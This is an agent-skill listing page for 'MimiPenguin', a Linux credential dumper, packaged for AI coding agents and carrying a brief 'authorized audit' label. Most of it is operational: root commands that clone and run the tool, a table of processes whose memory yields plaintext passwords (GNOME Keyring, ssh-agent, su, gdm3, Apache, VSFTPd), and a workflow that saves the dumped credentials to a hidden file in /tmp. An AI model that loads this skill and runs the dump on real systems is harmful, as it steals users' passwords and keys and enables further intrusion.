# Mimipenguin

> Auth/lab ref: Linux secret-exposure audit; process/memory artifact review for authorized recovery and defensive validation.

- Skill: `aeondave/mimipenguin` (Agent Skill)
- Install (CLI): `npx skillmds@latest add aeondave/mimipenguin`
- Raw SKILL.md: https://api.skillmd.com/api/skills/aeondave/mimipenguin/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- License: MIT
- Author: AeonDave (https://skillmd.com/u/aeondave)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/aeondave/mimipenguin

---


# MimiPenguin

Linux credential dumper — extract plaintext passwords from memory (Mimikatz-equivalent for Linux).

## Quick Start

```bash
# Requires root
git clone https://github.com/huntergregal/mimipenguin
cd mimipenguin

# Python version
sudo python3 mimipenguin.py

# Shell version
sudo bash mimipenguin.sh
```

## Sources Dumped

| Source | Notes |
|--------|-------|
| GNOME Keyring | `/proc/<PID>/mem` of gnome-keyring-daemon |
| VSFTPd | Active FTP session credentials |
| Apache Basic Auth | HTTP Basic Auth from apache2 process |
| SSH | SSH passphrase from ssh-agent |
| gdm3 | GNOME Display Manager login |
| su | Credentials from `su` process |

## Common Workflows

**Quick dump all sources:**
```bash
sudo python3 mimipenguin.py 2>/dev/null
```

**Shell version (no python dependency):**
```bash
sudo bash mimipenguin.sh
```

**Redirect output:**
```bash
sudo python3 mimipenguin.py | tee /tmp/.creds
```

> **Note**: Effectiveness depends on what services are running and memory layout.

## Resources

| File | When to load |
|------|--------------|
| `references/` | Process memory dump techniques on Linux |